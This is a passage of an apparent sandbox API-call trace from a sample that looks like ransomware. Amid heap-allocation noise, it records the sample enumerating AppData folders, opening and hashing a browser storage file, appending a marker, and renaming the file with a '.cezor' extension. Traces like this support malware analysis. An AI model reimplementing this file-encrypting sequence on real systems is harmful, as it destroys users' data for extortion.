0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febd00 [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.287] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.287] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.288] PathFindFileNameW (pszPath="") returned="" [0062.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.288] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.288] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0062.288] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0062.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.289] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=836) returned 1 [0062.289] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.291] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.291] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.293] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x344, lpOverlapped=0x0) returned 1 [0062.293] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.293] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.293] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.293] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.293] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.293] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.293] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.293] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.293] GetLastError () returned 0x0 [0062.294] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.294] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.294] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.294] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.294] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.294] CloseHandle (hObject=0x5c4) returned 1 [0062.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.cezor")) returned 1 [0062.296] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0062.296] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.296] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.296] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0062.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0062.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0062.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0062.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.297] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.297] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.297] PathFindFileNameW (pszPath="") returned="" [0062.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.298] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.298] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.298] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee980 | out: hHeap=0x670000) returned 1 [0062.298] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0062.298] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: 